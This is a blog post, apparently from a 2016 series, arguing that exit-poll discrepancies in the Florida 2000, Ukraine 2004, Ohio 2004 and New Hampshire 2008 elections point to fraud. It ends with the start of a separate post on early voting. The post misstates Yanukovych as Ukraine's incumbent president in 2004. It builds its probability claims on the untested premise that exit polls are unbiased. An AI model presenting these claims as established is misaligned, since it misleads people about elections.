The adjustment process itself is also unclear. Lenski didn't reveal how it was done in his interview, simply saying that the exit polls are adjusted to meet official results. <a href="https://richardcharnin.wordpress.com/2016/04/20/ny-democratic-primary-more-frustration/">Richard Charnin</a> and <a href="http://www.counterpunch.org/2016/04/21/new-york-primary-why-is-exit-poll-data-adjusted-to-match-final-voting-results/">Doug Hatlem</a> have observed that throughout the night, the number of respondents to an exit poll sometimes grows until it matches the official vote. This would indicate that Edison either invents respondents that they didn't interview to force the exit polls to meet official results, or has data coming in after polls close that always matches the official vote exactly.</div>
<div>
<br /></div>
<div>
Most people, no matter what their political affiliation is, should be suspicious of at least 2.1 million Bush voters appearing out of thin air in the exit poll. In order for the official results to make sense, the NEP had to alter demographics to the point of impossibility. One single example of an inconsistency, however, doesn't prove that election fraud is systemic, or even happening at all. But there are many other suspicious examples of discrepancies between exit polls and official results.</div>
<div>
<br /></div>
<div>
<a href="https://www.blogger.com/null" name="Past_examples"></a>
<br />
<h2>
Past examples of discrepancies</h2>
</div>
<div>
These examples aren't meant to prove beyond a doubt that election fraud occurred. The hope that anyone who looks at them will realize there's more than meets the eye in our elections. Enough strange occurrences in an election at least merit investigation, and when they consistently happen alongside exit poll discrepancies, those discrepancies deserve a closer look too.</div>
<h3>
</h3>
<a href="https://www.blogger.com/null" name="2000_election"></a>
<br />
<h3>
US presidential election (2000)</h3>
<div>
<div>
In most presidential elections, Americans know the winner before they go to bed. But with 2000's election, the winner is still disputed to this day. Al Gore won the popular vote over George W. Bush, but lost the electoral vote by a razor-thin 266 to 271. Bush's electoral victory hinged on Florida, which turned out to be a near-tie on election night. The November election was followed by an arduous recount process that eventually reduced Bush's margin to 537 votes. Florida courts ordered a statewide recount of disputed ballots, but the Supreme Court halted it in <a href="https://en.wikipedia.org/wiki/Bush_v._Gore">Bush v. Gore</a>. What is clear today is that <a href="http://www.cbsnews.com/htdocs/c2k/pdf/REPFINAL.pdf">the exit polls predicted Gore would win easily by 6.6 points</a>, and the election was marked by irregularities.</div>
<div>
<br /></div>
<div>
<div style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;">
<img border="0" height="206" src="https://2.bp.blogspot.com/-2c2cYm7o6yg/V1yHPJdmv2I/AAAAAAAAGbE/JhRJh7d81eE30BT4kYP0DHioQXs4BCz7wCLcB/s320/resized_HangingChads_4.jpg" width="320" /></div>
Florida used punch cards for most of its ballots in 2000. Much of its election controversy was centered around the hundreds of thousands of ballots uncounted by machines, so-called undervotes and overvotes. Undervotes were ballots that did not have holes punched all the way through, making it seem like no vote was cast. Overvotes had punches for multiple candidates running for the same office, and were thus invalid. Having so many uncounted ballots made it likely that the intent of voters was not reflected in the official count.</div>
<div>
<br /></div>
<div>
<br />
<a href="http://www.cnn.com/2015/10/31/politics/bush-gore-2000-election-results-studies/">Several studies</a> found that Gore likely won with all undervotes and overvotes counted, though Bush won with just the undervotes counted. <a href="http://usatoday30.usatoday.com/news/politics/2001-05-10-recountmain.htm">USA Today found</a> that under lenient counting standards of undervotes and overvotes, Gore would have won by 200 to 300 votes. <a href="http://www.electionstudies.org/florida2000/faq.htm">The Florida Ballots project, after 10 months of work in 2001, found</a> Gore likely would have won if all disputed ballots were counted, no matter how they were counted (Bush won the undervote-only count). Since the court-ordered recount might have been limited to just undervotes, Bush v. Gore may not have decided the result, but the studies make it clear that more Florida voters cast ballots intending to vote for Gore.</div>
<div>
<br /></div>
<div>
<br /></div>
<div>
<div style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;">
<div style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;">
<img border="0" height="205" src="https://3.bp.blogspot.com/-CHNMQibtltc/V1yHZdlQAVI/AAAAAAAAGbM/coS8MNd1s3wJek7SJtTzbvCISOnz-mvTACLcB/s320/butterflyballot.jpg" width="320" /></div>
The undervotes and overvotes weren't the only source of irregularities. Another was the use of the "butterfly ballot", which had holes in a spine down the middle and candidate names printed on both sides. Al Gore was the second name on the left, but his choice corresponded to the third hole from the top. This confusion could have led Gore voters to incorrectly select the second hole, which was a vote for Pat Buchanan. <a href="http://www.presidency.ucsb.edu/showflorida2000.php?fileid=buchanan11-09">Buchanan himself admits</a> that this likely resulted in him getting votes that weren't for him.</div>
</div>
<div>
<br /></div>
<div>
<br /></div>
<div>
Aside from issues with marking the ballots, there were questions about whether Florida's computerized tabulators added them all up correctly. When a Volusia County precinct with only 600 voters was added to the totals, <a href="https://en.wikipedia.org/wiki/Volusia_error">Gore's vote total mysteriously <i>dropped</i></a> by about 16000 votes, while a fringe candidate got 10000 votes. The reason for this was <a href="http://www.dissidentvoice.org/Articles9/Thompson_Diebold-2000-Fraud.htm">a memory card for that precinct that strangely contained -16022 votes for Al Gore</a>, a negative vote count.<br />
<br />
Global Election Systems, which made the tabulators, was asked by a Florida official for an explanation. The two most likely ones were a corrupt memory card, which they said had a "60k to 1" chance of being accepted, and a card from an "un-authorised source", intentionally modified to reduce Gore's total.</div>
<div>
<br />
The precinct actually had two memory cards uploaded, when "there should have only been one." It was the second card that had negative Gore votes. After the error was identified, election officials reloaded the first card, which had the correct results. Nobody knew what the second card was for, but since the first card was correct, there was no legitimate reason to load another. In other words, just as Global Election Systems suggested, the card came from an unauthorized source, likely someone trying to rig the election. GES wanted to examine the memory card, but it was never found.</div>
<div>
<br /></div>
<div>
If one memory card could have been forged to change the results, the same thing could have happened across Florida. Adding negative Gore votes was careless and easy to spot, but more subtle alterations might not have been questioned. The scope of similar issues, if there were any outside of the Volusia precinct, is unknown, but it is certainly a possibility, another irregularity in Florida's 2000 election.</div>
<div>
<br /></div>
<div>
Florida in 2000 ultimately had a host of irregularities that made it unclear whether voter intent was reflected. Hundreds of thousands of votes failed to be counted, and analyses revealed that more of these ballots were intended for Gore. Confusing ballot designs likely made thousands of Gore voters select somebody else. And there was at least one apparent attempt to change the electronic vote counts, with others being plausible. These irregularities, nearly all against Gore, indicate that many intended votes for Gore were not counted. And the exit polls, showing Gore ahead by 6.6 points, could have reflected this: more people saying they voted for Gore, but not having their vote counted that way in the end.<br />
<br /></div>
</div>
<a href="https://www.blogger.com/null" name="2004_Ukraine_election"></a>
<br />
<h3>
Ukrainian presidential election (2004)</h3>
<div>
Incumbent Ukrainian president, Victor Yanukovych, <a href="https://en.wikipedia.org/wiki/Ukrainian_presidential_election,_2004">faced reelection in 2004</a>. No candidate managed to break 50% in the first round of voting, so the top two candidates, Victor Yanukovych and Victor Yushchenko, faced each other in a run-off election.</div>
<div>
<br /></div>
<div>
<a href="https://en.wikipedia.org/wiki/Orange_Revolution#Protests">Exit polls coming out of the election</a> gave Yushchenko an 11% lead, but according to official results, Yanukovych won by 3%. <a href="https://en.wikipedia.org/wiki/Ukrainian_presidential_election,_2004#Run-off">Several irregularities were recorded</a>, with international election observers for the <a href="http://www.osce.org/">OSCE</a> saying that it "did not meet international standards". Between the first and second rounds, turnout in regions supporting Yushchenko was stayed the same or went down, while turnout in regions supporting Yanukovych dramatically increased, sometimes to greater than 100%. Observers alleged that supporters of Yanukovych voted absentee multiple times. Other observed issues included ballot stuffing, voter intimidation, and massive new voter registrations right before the election.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<img border="0" height="219" src="https://3.bp.blogspot.com/-zfoTY0aaZvE/V1yMZ1OoWVI/AAAAAAAAGbg/rzA82a2womIHTNEi4NCK2pZqlmeS6_nlQCLcB/s320/m.1769_orange-revolution.jpg" width="320" /></div>
<div style="text-align: center;">
Belief that the election was rigged resulted in the Orange Revolution, a series of protests and demonstrations in Ukraine.</div>
</div>
<div>
<br /></div>
<div>
International reaction to the election was swift against Yanukovych. The EU <a href="http://www.europarl.europa.eu/sides/getDoc.do;jsessionid=335ED3B0E938A20E30BDED4B98B2B687.node1?pubRef=-//EP//TEXT+TA+P6-TA-2004-0046+0+DOC+XML+V0//EN">condemned the results</a> as fraudulent, <a href="http://www.washingtonpost.com/wp-dyn/articles/A10212-2004Nov24.html">as did US President Bush and Secretary of State Colin Powell</a>. All of the countries refused to accept the election's legitimacy, and called for an investigation of it. The Ukrainian Supreme Court invalidated the election results, and a re-run was held. This time, Yushchenko won with 52% of the vote, beating Yanukovych by 7.81%. International observers said that the re-run was fairer than the original run-off election.</div>
<div>
<br /></div>
<div>
While not an example in the US, the 2004 Ukrainian election is an example of discrepancies between exit polls and official results reflecting election fraud. International observers found several instances of fraud and refused to accept Yanukovych's apparent victory over Yushchenko, which was a complete reversal of what the exit polls projected. Pressure from the EU and US, combined with protests in Ukraine, led to the results being overturned and fairer elections being overseen. The fair elections had Yushchenko winning, just as the exit polls projected the first time.<br />
<br /></div>
<a href="https://www.blogger.com/null" name="2004_US_election"></a>
<br />
<h3>
US presidential election (2004)</h3>
<div>
President George W. Bush was also an incumbent seeking reelection in 2004. He ran against John Kerry, and with <a href="http://electoralmap.net/PastElections/past_elections.php?year=2004">the electoral college math</a>, won by a narrow margin of 286 to 251. The closeness of the race meant that a swing state flipping could have changed the winner, and one swing state in particular had election controversy surrounding it: Ohio. Ohio, won by Bush, was worth 20 electoral votes, and if Kerry had won instead, the final vote would have been 271 to 266 for Kerry.</div>
<div>
<br /></div>
<div>
Liberal commentators, such as <a href="https://youtu.be/QITGHymqZvo?t=1m4s">Thom Hartmann of the Big Picture RT</a>, claimed that a GOP-tied company hijacked the vote tabulation for Ohio. Exit polls from Ohio gave Kerry a lead over Bush, and for much of election night, the Ohio vote matched the exit polls. At 11:14 PM, the vote counting servers went down, and were rerouted to a backup system in Chattanooga, Tennessee. The company handling the backup, SmarTech, did business for the Republican Party, and was alleged to have rigged the vote for Bush. After the tabulation came back online, Kerry's lead had been lost to Bush, a clear disparity with the exit polls.<br />
<br />
Looking at <a href="http://web.archive.org/web/20121205155317/http://imageshack.us/photo/my-images/111/netcraft110206642039813zk1.jpg/">hosting records for the reporting site</a> confirms that SmarTech became the results provider on election night. The website is normally hosted by <a href="https://www.oar.net/">OARNet</a>, an Ohio-based company that provides Internet services to the Ohio government. But around November 3 (or late November 2, which was election day), SmarTech became the provider for the Ohio elections reporting. Could it have used that period to influence the 2004 election?</div>
<div>
<br /></div>
<div>
This controversy became the subject of a court case, <a href="http://www.truth-out.org/news/item/2319:new-court-filing-reveals-how-the-2004-ohio-presidential-election-was-hacked">King Lincoln Bronzeville v. Blackwell</a>, filed against Ohio Secretary of State Ken Blackwell. A document in the case showed that Blackwell contracted with GovTech Solutions, owned by Michael Connell, to develop the election night reporting system. Connell, an IT manager for Bush and Karl Rove, brought in both SmarTech and Triad (which made the county tabulators) for this. SmarTech was only meant to provide a backup system if Ohio's primary system crashed, but Connell testified that to the best of his knowledge, "it was not a failover situation", as did Blackwell's IT specialist, who was sent home that night at 9 PM.</div>
<div>
<br /></div>
<div>
Stephen Spoonamore, a network security engineer, declared in a <a href="http://web.archive.org/web/20150403132321/http://www.rawstory.com/images/other/SpoonamoreOctAffidavit.pdf">sworn affidavit</a> that he believed the Ohio vote was altered with a <a href="http://www.makeuseof.com/tag/man-middle-attack-security-jargon-explained/">man-in-the-middle attack</a>, where a computer inserts itself between two other computers to intercept and modify the data sent between them. Around 11 PM, several counties suddenly began reporting radically different ratios of Bush to Kerry votes, in a way that favored Bush. Spoonamore stated that this shift could be most likely explained by a malicious system inserted between the county tabulators and the Ohio Secretary of State's office. After analyzing how SmarTech's backup system was set up, he affirmed that the company could have altered the Ohio results however they wanted.<br />
<br />
<a href="http://www.velvetrevolution.us/images/Spoon%20Aff%20to%20Reply%20filed%2091708.pdf">An earlier affidavit from Spoonamore</a> explains how the attack worked. Election night reporting involved the central tabulators from each county (Computer A) transmitting their results over the Internet to a statewide tabulator in the Secretary of State's office (Computer B), which added up all the votes from all the counties. In the network setup, however, a third computer, controlled by SmarTech, was placed between A and B. This computer would have been able to see vote totals as they came in, and alter them before passing them along to the Secretary of State's office.<br />
<br />
Critics have contended that this attack would only have impacted the unofficial election night results, since the counties had to fax their tabulator results to the state offices as the official ones. But Spoonamore argued that since SmarTech sat in between the county and state tabulators, it also had the potential to remotely access the county tabulators and change their results. If the county tabulator results were modified, the faxed results would also get altered. This remote access would require the county tabulators to be purposefully modified for that. Interestingly, Triad removed hard drives from them soon after, potentially an attempt to hide evidence of a man-in-the-middle setup.</div>
<div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://4.bp.blogspot.com/-4OhvzaFLMM8/V04xsWWP1VI/AAAAAAAAFeg/R6YEThcls5wAH0VB2Q-D07tuP28XNwi0QCLcB/s1600/2004ohioschematic.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="363" src="https://4.bp.blogspot.com/-4OhvzaFLMM8/V04xsWWP1VI/AAAAAAAAFeg/R6YEThcls5wAH0VB2Q-D07tuP28XNwi0QCLcB/s640/2004ohioschematic.jpg" width="600" /></a></div>
</div>
<div>
<div style="text-align: center;">
<b>Figure 1: Ohio Secretary of State office network setup. </b>SmarTech has inserted itself into the network, which includes the vote reporting from county tabulators.</div>
<b><br /></b>
<b><br /></b>
SmarTech itself had multiple ties to the Republican Party. It <a href="http://web.archive.org/web/20110826214002/http://scoop.epluribusmedia.org/story/2006/11/7/115314/922">hosted a variety of websites and mail servers</a> for the GOP and the Bush campaign, including for the <a href="http://web.archive.org/web/20110430162825/http://www.smartechcorp.net/">2008 Convention</a>. The founders, Mercer Reynolds and Bill DeWitt, <a href="https://books.google.com/books?id=ZogRg264cTYC&pg=PT61&lpg=PT61#v=onepage&q&f=false">were "stalwart Republicans" and "George W. Bush loyalists"</a>. <a href="https://en.wikipedia.org/wiki/Mercer_Reynolds">Reynolds</a> was the Ohio finance chair for Bush in 2000, and Bush's national finance chair in 2004. SmarTech was undeniably a partisan company supporting the GOP. And they got contracted by Ohio's Secretary of State to set up a failsafe that, as Spoonamore tesifies, was actually used to alter county and state election results.</div>
<div>
<br /></div>
<div>
Dr. Richard Hayes Phillips performed an independent analysis of the 2004 election in <a href="http://www.amazon.com/Witness-Crime-Citizens-American-Election/dp/0979872235">his book "Witness to a Crime"</a>. He examined thousands of ballots and voting books to ascertain what happened. Phillips found 0 irregularities in vote counts before the rerouting to SmarTech at 11:14 PM, but of the 14 counties reported afterwards, every single one had irregularities favoring Bush.<br />
<br />
Phillips also filed <a href="http://www.velvetrevolution.us/images/Phillips%20Aff%20to%20Reply%20filed%2091708.pdf">an affidavit</a> in the King Lincoln case, listing dozens of irregularities that occurred during the election. He concluded by saying, "Having personally examined 126,000 ballots, 127 poll books, and 141 voter signature books from 18 counties in Ohio, and having examined many other election records as well, it is my conclusion that there is so much evidence of ballot alteration, ballot substitution, ballot box stuffing, ballot destruction, vote switching, tabulator rigging, and old-fashioned voter suppression, that the results of the 2004 presidental election, in all likelihood, have been reversed".</div>
<div>
<br /></div>
<div>
None of this proves that election fraud took place, but the 2004 election was questionable enough to be suspect. SmarTech, a partisan GOP company, was contracted to provide a backup for Ohio's vote tabulation and results reporting. Their systems were connected to county and state level tabulators, such that they could have potentially altered the results if they desired. And at 11:14 PM, Ohio's vote tabulators were run through SmarTech, at which point Kerry's lead shown by the exit polls flipped to Bush. The only independent analysis showed no irregularities before 11:14 PM, and many favoring Bush afterwards. The 2004 US election, thus, is another example of exit poll discrepancies pointing to election irregularities.<br />
<br /></div>
<div>
<a href="https://www.blogger.com/null" name="Red_shifting"></a>
<br />
<h3>
"Red shifting" in the US</h3>
</div>
<div>
The exit poll discrepancies in 2000 and 2004 reflect a larger phenomenon called "red shifting," as noted by <a href="http://www.dailykos.com/story/2012/8/8/1118026/-Election-Fraud-An-Introduction-to-exit-poll-probability-analysis">Richard Charnin</a> and others. In presidential elections from 1988 to 2008, Republicans have overperformed their exit poll margins in most of the official state results, often leading to a victory that the exit poll didn't show. Many of the official results exceeded the margin of error of the exit poll, and nearly all of these shifts were in favor of Republicans, hence the term "red shift". Unless there's a systematic polling bias against Republicans, the probability of all these events is 0%, based on simple statistics.</div>
<div>
<br /></div>
<div>
Exit polling, as described above, is designed to choose a random sample of voters representing the voting population. Because of this, its probability density assumed to fit a <a href="https://en.wikipedia.org/wiki/Normal_distribution">normal distribution</a>, often referred to by its appearance as a "bell curve." The poll result has the highest probability (top of the curve), and the probability of a deviation drops off equally in both directions. Polls, of course, can't be absolutely certain that they represent the population, but a normal distribution allows one to be <a href="https://en.wikipedia.org/wiki/Confidence_interval">95% confident that they're accurate within a certain margin</a>. Given fair elections, any deviations would be caused by random statistical errors, meaning that a single candidate/party wouldn't consistently benefit.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<img border="0" height="266" src="https://2.bp.blogspot.com/-fbaQH928xv0/V09rM2FJAtI/AAAAAAAAFiA/ZgTVH6d-ag0cb4Ke3DLS0JxKNeoct64kACLcB/s400/NormalDist1.96.png" width="400" /></div>
<div style="text-align: center;">
<b>Figure 2: 2004 national exit poll, on a normal curve.</b> John Kerry got 51.8% in the exit poll, with a margin of error of 3.14%. There is a 95% chance his true share was inside that margin. More importantly, there is an equal chance of his true share being higher or lower than 51.8%. Kerry's official share was 48.3%, outside the error margin.</div>
</div>
<div>
<br /></div>
<div>
<br />
Of the 274 state elections, from 1988 to 2008, with exit poll data available, the official Republican vote exceeded the exit polls in 226 of them. Deviations from exit poll results shouldn't favor one party or the other. In a fair electoral system, about 50% of the deviations should help the Republicans, and the other 50% should help the Democrats. 226/274 going to the advantage of Republicans is just like 226/274 coin flips returning heads. We can calculate the probability of that with the <a href="https://en.wikipedia.org/wiki/Binomial_distribution">binomial distribution</a>. <b><a href="https://support.microsoft.com/en-us/kb/827459">BINOMDIST</a>(226, 274, 0.5, FALSE)</b> = 3.43 * 10^-29, virtually a 0% probability.</div>
<div>
<br /></div>
<div>
There were 57 state elections where the winner differed between the exit poll and the official results. 55 of those were Republicans winning when the exit poll said that they lost, and only 2 were Democrats winning when the exit poll said they lost. Like above, the probability of exit poll results flipping for either party should be 50-50 in a fair election. <b>BINOMDIST(55, 57, 0.5, FALSE)</b> = 1.11 * 10^-14, another 0% probability.</div>
<div>
<br /></div>
<div>
The margin of error was exceeded in 126 of the 274 polls, 46% of the time, which shouldn't happen given 95% confidence in the results. Nor should 123 of the 126 occurrences favor Republicans, with only 3 favoring Democrats. The margin of error should only be exceeded 5% of the time, or in 14 of the polls, and the advantage should again divide evenly between Republicans and Democrats. The <a href="https://en.wikipedia.org/wiki/Poisson_distribution">Poisson distribution</a> determines how likely it is that a certain number of events occurs when the number that should occur is known. 274 * 5% * 50% of the polls, or 7 of them, should exceed the margin of error in a way that favors Republicans, but 123 actually did. <b><a href="http://www.real-statistics.com/binomial-and-related-distributions/poisson-distribution/">POISSON</a>(123, 7, FALSE)</b> is once again 0%.</div>
<div>
<br /></div>
<div>
Simple statistical analysis of them implies that the official results are heavily skewed towards Republicans. The probability of so many of the exit polls flipping to Republicans in the way they do cannot happen by random chance, and implies highly altered election probabilities favoring Republicans. But, of course, there may simply be sampling error in the exit polling that constantly underestimates Republican support. If the entire method of exit polling is systematically flawed in that way, a consistent red shift becomes less suspicious.</div>
<div>
<br /></div>
<div>
The common theory about sampling error is that Republicans are less willing to respond to exit polls than Democrats, skewing the polls to the left. Evidence for this theory, however, is lacking. Edison proposed the idea in 2004, but <a href="http://web.archive.org/web/20050907082842/http://electionarchive.org/ucvAnalysis/US/Exit_Polls_2004_Edison-Mitofsky.pdf">US Count Votes' analysis</a> found the theory implausible, with Edison's data possibly even suggesting <i>Democrats</i> had lower response rates. And since 1988, <a href="http://www.people-press.org/interactives/party-id-trend/">party identification for Democrats and Republicans has remained quite close</a>. It also stands to reason that since Edison has had decades to perfect their practice, it's unlikely that exit pollsters would notice a red shift and continue to underweight Republican voters.<br />
<br />
Even if one isn't entirely convinced by exit polling, the statistical improbability of red shifting should be enough to make them reconsider the official counts. Statistical irregularities to the degree described above make fraud a legitimate possibility, worthy of investigation.<br />
<br /></div>
<a href="https://www.blogger.com/null" name="2008_Dem_primary"></a>
<br />
<h3>
US Democratic primary (2008)</h3>
<div>
Back in 2008, Hillary Clinton, thought to be a shoe-in for the Democratic nomination, faced an unexpectedly strong challenge from Barack Obama. Obama managed to <a href="https://en.wikipedia.org/wiki/Democratic_Party_presidential_primaries,_2008#January_2008">win Iowa over Clinton by 9 points</a>, leaving her with a surprising 3rd place finish. Pundits began to declare Clinton's campaign over, expecting Obama to win New Hampshire and ride his momentum to the nomination.<br />
<br />
Indeed, <a href="http://www.realclearpolitics.com/epolls/2008/president/nh/new_hampshire_democratic_primary-194.html">most pre-election polls</a> showed Obama ahead by about 8 points, but on election night, Hillary Clinton won by 3 points in a stunning upset. Clinton's upset, however, was not only a complete reversal of pre-election polls, but a <a href="http://www.bradblog.com/?p=5535">complete reversal of unadjusted exit polls</a>, where Obama was ahead by around 8 points.<br />
<br />
It's not unreasonable to think that Hillary Clinton simply had a late surge that pre-election polls didn't detect. The nomination race doesn't happen in a vacuum, and what candidates do or say can easily change people's opinions. In the days leading up to the race, Clinton issued a passionate defense of her candidacy, and <a href="http://www.cnn.com/2008/POLITICS/01/07/clinton.emotional/index.html#cnnSTCVideo">a show of emotion</a> could have garnered her last-minute sympathy from voters. But that fails to explain the major discrepancy with the exit polls.<br />
<br />
One potential argument against the validity of the exit polls is the <a href="https://en.wikipedia.org/wiki/Bradley_effect#Exit_polling">Bradley effect</a>. It posits that people will claim to support a black candidate not to seem racist, despite having chosen someone else. <a href="http://www.nytimes.com/2008/09/28/magazine/28wwln-safire-t.html?ref=magazine">Many pundits speculated</a> on whether the Bradley effect had something to do with Clinton's apparent upset, overinflating Obama's standing in the polls. <a href="http://www.cbsnews.com/news/does-race-skew-polling/">Analysis of the Bradley effect at the time</a>, however, concluded that it had been mostly been gone since 1996. Even if the Bradley effect returned in 2008 for Obama, a 11 point swing based on it is pretty unlikely. And clearly, the Bradley effect didn't ultimately stop Obama from winning the nomination.<br />
<br />
A suspicious occurrence that popped up in New Hampshire was <a href="http://electiondefensealliance.org/machine_vs_paper_count_differential_nh_democratic_primary">discrepancies between hand-counted and machine-counted ballots</a>. Clinton won machine-counted votes 40% to 36%, while Obama won hand-counted votes 39% to 35%. Interestingly, the margins between them in both machine and hand counts were roughly 4%, just with the winner reversed. The fact that two different means of counting votes produced different, almost inverted, results is strange, especially when one of them (machine counting) relies on black box technology with known security issues.<br />
<br />
A possible explanation for this discrepancy is that the precincts using hand-counting instead of machine-counts happened to favor Obama. Since <a href="http://www.dailyyonder.com/mccain-takes-rural-new-hampshire-clinton-wins-cities/2008/01/09/935/">Obama did better in rural areas than big cities</a>, and the more rural towns were more likely to use hand counts, that is often the explanation given. But even within just rural towns, for instance, the discrepancy existed. Obama doing better in rural towns isn't suspicious, but doing better in rural towns except when machine counts get used is. Machine and hand counts should be a close match, and they aren't. <a href="http://scienceblogs.com/developingintelligence/2008/01/15/the-diebold-effect-hillarys-vo/#.Vy0xUMwnbho.twitter">A further analysis</a> shows that no demographic variable can account for the discrepancy, implying the use of voting machines is the deciding factor.<br />
<br />
Also telling is the fact that these discrepancies mainly only affected Obama and Clinton, with overall machine vs. hand discrepancies around 3-5%. No other Democratic candidate had similar discrepancies, and for almost all of them, it was less than 1%. Since Clinton and Obama had more votes than their competitors, it would have actually taken more differing votes to make a noticeable impact in the percentages, making it all the more strange that such a discrepancy exists.<br />
<br />
Once again, this doesn't outright prove election fraud occurred, but it should cast reasonable doubt on the results. Obama was ahead in the polls leading up to the election by about 8 points, and ahead in the exit poll by about 8 points, but lost to Clinton officially by 3 points. This was caused by discrepancies between machine counts and hand counts, which were not due to demographics, and did not occur for other candidates. Obama actually led the hand count by 4 points, which puts him closer to the pre-election and exit polls. Exit poll discrepancies and suspicious election circumstances again go hand in hand.<br />
<br />
<br />
That's often what we end up when we talk about exit poll discrepancies: a lot of circumstantial evidence, but no real smoking guns. Indeed, nothing written above proves that fraud actually happened in any of the elections. But it does show that the quality of elections shouldn't be taken for granted.<br />
<br />
Enough questionable circumstances should make us all skeptical, and when they're so commonly linked to exit poll discrepancies, perhaps those discrepancies can tell us something after all. Suspicion of fraud, though, doesn't explain how it could happen. In the next article, we'll see how it could.<br />
<br />
<h2>
Other posts on election fraud</h2>
</div>
<div>
<a href="http://marionumber1.blogspot.com/2016/05/could-early-voting-explain-exit-poll.html">Part 1: 2016 Exit Polls and Early Voting</a></div>
<div>
<a href="http://marionumber1.blogspot.com/2016/07/election-fraud-part-3-vote-rigging-in.html">Part 3: Vote Rigging in the 21st Century</a></div>
<div>
<a href="http://marionumber1.blogspot.com/2016/09/election-fraud-part-4-clinton-shift.html">Part 4: The Clinton Shift</a></div>
Unknownnoreply@blogger.com1tag:blogger.com,1999:blog-1645045780017662151.post-77691609561613919742016-05-10T22:13:00.000-04:002016-09-18T01:56:50.445-04:002016 Exit Polls and Early VotingIn recent months, controversy has erupted over exit poll discrepancies in the Democratic primaries. Hillary Clinton consistently performs better in the official results than the exit polls. This trend is visible in almost every primary state, with discrepancies ranging from minor to significant. Clinton’s consistent overperformance of her exit poll results has stoked theories that the Democratic primaries are rigged to her advantage.<br />
<br />
To many political observers, the theory seems ridiculous. Joshua Holland <a href="http://www.rawstory.com/2016/04/on-tim-robbins-election-fraud-and-how-nonsense-spreads-around-the-internet/">wasted no time</a> in calling it out, <a href="https://www.washingtonpost.com/news/the-fix/wp/2016/04/25/you-need-to-chill-out-tim-robbins/">as did</a> the Washington Post. The media consensus is that exit polls are a crude tool, helpful for forecasting elections, but nothing to take too seriously. On the other hand, those in the election integrity field <a href="http://electiondefensealliance.org/independent_exit_polls">view exit poll discrepancies as indicators</a> of a fraudulent election. A well-done exit poll is an accurate count of how people voted, one that can be checked against official vote counts to test for fraud.<br />
<br />
Richard Charnin is the source of allegations for the 2016 Democratic primaries. He’s been statistically analyzing exit polls for over a decade. By his reckoning, exit polls represent a much purer picture of how people actually voted than the official counts do. On May 5, after the Indiana primaries, he published a <a href="https://richardcharnin.wordpress.com/2016/05/05/democratic-primaries-election-fraud-probability-analysis/">summary of purported fraud up to that point</a>. Charnin's calculations find a near-impossibility that so many exit polls would miss as they have.<br />
<br />
His calculations are sound under the assumption that exit polls are valid. Of course, this isn’t necessarily true, and as mentioned, few in the media believe it. Nate Silver of FiveThirtyEight wrote <a href="http://fivethirtyeight.com/features/ten-reasons-why-you-should-ignore-exit/">an article</a> way back in 2008 about why exit polls should be ignored. But no pundit, not even Nate Silver, should simply be believed without looking at their claims.<br />
<br />
If his reasons explain why the discrepancies consistently benefit Clinton, the theories about exit polls can easily be debunked. One of the more interesting points Nate Silver brings up is counting early voting incorrectly. Clinton has a <a href="http://www.wsj.com/articles/early-voting-seen-as-a-boost-for-presidential-front-runners-1456782068">known advantage</a> with early voting, and exit polls mainly reflect the results of election day. Perhaps exit polls are correct for election day, but not everyone voted that day. Failing to account for the early vote is what results in those discrepancies.<br />
<br />
<h2>
The reasoning</h2>
The reasoning Richard Charnin assumes that exit polls represent the population of those who voted. Since exit polls are done on election day, early and absentee voting isn't counted. This might explain the discrepancies. Let's suppose, for the sake of argument, that the exit polls do match official results <i>on election day</i>; what margin of the early vote would the candidates need to meet the complete official results? If the margins are reasonable, that shows that the early voting explanation is likely.<br />
<br />
In reality, assuming no early voting is too simplistic of a model. As Nate Silver points out, exit polls do sample early voters over the telephone, and merge that into their election day results. But they may incorrectly assume how much needs to be merged. So we’ll also need to look at the possibility that the exit pollsters misestimated how much of the total vote was early voting.<br />
<br />
Ultimately, we’ll be making three assumptions for our calculations:<br />
<ol>
<li>Official election results correctly reflect the total votes that candidates received</li>
<li>Polling place interviews done on election day accurately reflect the election day vote</li>
<li>Telephone surveys of early/absentee voters accurately reflect that population</li>
</ol>
If we end up with unreasonable early/absentee margins, one or more of these assumptions is wrong.<br />
<div>
<br /></div>
<div>
</div>
<h2>
Getting the data</h2>
<div>
(Note: This post is still a work in progress, since I lack the data for many states)</div>
<div>
<br /></div>
<div>
We need to know the official vote shares, exit poll results, and the amount of early voting. Since primary results get reported live online, through news outlets, Secretary of State offices, and other aggregate sources, we know the total vote counts. The exit poll results come from Richard Charnin's site. We just need the early/absentee counts and we're set. All states <a href="http://www.ncsl.org/research/elections-and-campaigns/absentee-and-early-voting.aspx">have some form of early and/or absentee voting</a>, and we're focusing only the primary states. So where can we get this data?</div>
<div>
<ul>
<li><b>Alabama: </b>In <a href="https://www.alabamavotes.gov/downloads/election/2016/primary/2016-primary-precinctLevel.zip">a bunch of Excel files for each county</a> that I have to go through.</li>
<li><b>Arkansas: </b><a href="http://results.enr.clarityelections.com/AR/58350/163701/Web01/en/summary.html">Arkansas' results page</a>, which also tells us the official breakdown of early votes.</li>
<li><b>Arizona:</b> An <a href="http://www.nbcnews.com/politics/2016-election/what-does-early-vote-say-about-who-will-do-well-n543641">NBC article</a> gives the total.</li>
<li><b>Connecticut: </b><a href="http://ctemspublic.pcctg.net/#/voterTurnout">Connecticut's unofficial results page</a>.</li>
<li><b>Florida: </b><a href="https://countyballotfiles.elections.myflorida.com/FVRSCountyBallotReports/AbsenteeEarlyVotingReports/PublicStats">Florida's absentee/early voting statistics page</a>.</li>
<li><b>Georgia: </b><a href="http://results.enr.clarityelections.com/GA/58980/163369/en/vts.html?cid=51">Georgia's results page</a>, which also tells us the official breakdown of early votes.</li>
<li><b>Illinois:</b> </li>
<li><b>Indiana: </b>This <a href="http://www.indystar.com/story/news/politics/2016/05/03/indiana-primary-2016-indiana-polls-presidential-election-candidates-primary-donald-trump-hillary-clinton-ted-cruz-bernie-sanders-john-kasich/83829126/">news story</a>, which says that 109,269 Dem early ballots were requested</li>
<li><b>Massachusetts:</b> </li>
<li><b>Maryland:</b> <a href="http://www.elections.state.md.us/elections/2016/results/primary/gen_results_2016_3_001-.html">Maryland's results page</a>, which also tells us the official breakdown of early votes.</li>
